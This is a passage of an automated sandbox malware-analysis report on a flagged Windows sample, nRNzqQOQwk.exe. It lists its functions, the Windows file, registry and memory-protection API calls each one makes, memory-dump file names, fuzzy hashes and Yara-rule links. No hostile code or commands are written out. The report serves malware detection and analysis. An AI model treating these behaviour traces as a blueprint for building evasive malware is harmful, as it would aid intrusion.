Instruction Fuzzy Hash: EFE08632608111AAD31067705E0493B73B89A84710302083EF506F6292D7389C2196A9

Function 00405A13 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00402D3A,C:\Users\user\Desktop\nRNzqQOQwk.exe,80000000,?), ref: 00405A17
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A39

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction ID: 2848333a8a5b20597e43067d17cc290ce391feab13c7f73248cb22e1b8f9cacf
Opcode Fuzzy Hash: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction Fuzzy Hash: 5CD09E31658301AFEF098F20DD16F2EBAA2EB84B01F10962CBA82950E0D6755C159B26

Function 004054FC Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403173,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00405502
GetLastError.KERNEL32 ref: 00405510

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction ID: 104873d821a1170e2273ca40e0eecd38832efcbc0b1179f41fab49dbd7078dd9
Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction Fuzzy Hash: 23C04C70629501FBDA106B209E097177D55AB90745F1049766106E20F4DA749451D92E

Function 004025D7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 4ba2856da63ff7f435db743ac2a14cc2248dd3629aba4a8dceb7604ea70bc87f
Instruction ID: cbf00d81cb97437f3a5b335f5c35441536f11fd869f9e222d526ef6a243a720c
Opcode Fuzzy Hash: 4ba2856da63ff7f435db743ac2a14cc2248dd3629aba4a8dceb7604ea70bc87f
Instruction Fuzzy Hash: 9521C970D0429ABEDF218B9885486AEBF749F01314F1445BFEC95B63D1C2BE8A81CF19

Function 00402695 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004026B3

Part of subcall function 00405CFE: wsprintfA.USER32 ref: 00405D0B

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: abf4405e99e4dcb85fe8fe58243fd46f792263ec105484f86c7cee990d7a89bb
Instruction ID: fecccce0915ab20f046520e702d9d3c2ebd546ffbad39029680d96f2603726cc
Opcode Fuzzy Hash: abf4405e99e4dcb85fe8fe58243fd46f792263ec105484f86c7cee990d7a89bb
Instruction Fuzzy Hash: B8E01BB1B05115AFD701EB956A4987F7769DF40328F10443BF141F50D1C67E4D429B6D

Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 6c1eb3e18aa1cf105a2872d21e97bfa3763926e12a5010dfe0d2da281f2b65f7
Instruction ID: 5f6267e841dd840bf6295cbe1617e7a0042591bb1814ca2e8a4844537e2a2c78
Opcode Fuzzy Hash: 6c1eb3e18aa1cf105a2872d21e97bfa3763926e12a5010dfe0d2da281f2b65f7
Instruction Fuzzy Hash: 67E04F31B001246BD7307AB10F8E97F10999BC4304B39153ABA01B62C6EDBC4C414AB9

Function 0040171F Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401733

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 6ee8a2cb6661bb696876ffa748e538e6724bcba4671d5e56d17f999e1d815b23
Instruction ID: e4e3c42305c0b2198e0aecdca264a5a1b937f2a52f25dfaad176198492f8ea82
Opcode Fuzzy Hash: 6ee8a2cb6661bb696876ffa748e538e6724bcba4671d5e56d17f999e1d815b23
Instruction Fuzzy Hash: CFE026B2304111AFE740DF68DE48EAA3B98DB10368F30453AF151F60C0E2BA9A41A769

Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,00000662,00000000,00000022,00000000,?,?,?,00402383,00000002), ref: 00402C00

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: fdb8ee867dc8347cd902a818e27750adf9bf7bda53abb5245a0d02fd0d3a8952
Instruction ID: 12eae925539b7dc367c8ab6fa63785f67f6a0dd6345a275e5017c2f2efb43849
Opcode Fuzzy Hash: fdb8ee867dc8347cd902a818e27750adf9bf7bda53abb5245a0d02fd0d3a8952
Instruction Fuzzy Hash: ADE0B676250108BEDB00EFA9EE4AE9977ECAB58740F108421B608E70A1C678E5508B69

Function 00405A8B Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403135,00000000,00000000,00402F82,000000FF,00000004,00000000,00000000,00000000), ref: 00405A9F

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction ID: 3049aa00f6096361bf05a549768cb7fbda67778921cce1d2793645b00ea59393
Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction Fuzzy Hash: 56E08C3260521ABBEF119E508C40EEB3B6CEB043A0F008933F914E2180E230E8219FE4

Function 00405ABA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004030EB,00000000,007890F8,000000FF,007890F8,000000FF,000000FF,00000004,00000000), ref: 00405ACE

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 32d48f6e8b76b53ead5095efbfc7dc84fe3b04974c76bcad3a7819726962f715
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: CEE0B63261429AABDF109E659C40AAB7B6CFF05360F148533B915E6150E231E8219EA5

Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729

Memory Dump Source

Source File: 00000000.00000002.13435297109.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.13435257498.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435328393.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435360317.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_nRNzqQOQwk.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19

Function 00402336 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402369

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: e46b05dc8f5ff29729b9ed40f267ec6ff0ae672f09ade1fc8e872b569ad31fa6
Instruction ID: 863d308e192ce4c0f66b0ae01519e0470cfafd3cecd099ef988cf845eccf6abb
Opcode Fuzzy Hash: e46b05dc8f5ff29729b9ed40f267ec6ff0ae672f09ade1fc8e872b569ad31fa6
Instruction Fuzzy Hash: D1E08630A04208BADB10AFA08F09EAD3A79AF41710F24003AF9507B0D1EAB84481DB2D

Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b1bfa589af0f93098282614436603590eccf1b584019d2a6df4a412e22152707
Instruction ID: 089d8403b4a3c67af6c4af196b8dedf915adbd4a042e4b2ee6fd832a67879694
Opcode Fuzzy Hash: b1bfa589af0f93098282614436603590eccf1b584019d2a6df4a412e22152707
Instruction Fuzzy Hash: 34D05B72704115DBDB10DBE5EB0869D77A0AB40364F304537D151F21D0D2BADA559719

Function 00403138 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EC1,0002FFE4), ref: 00403146

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
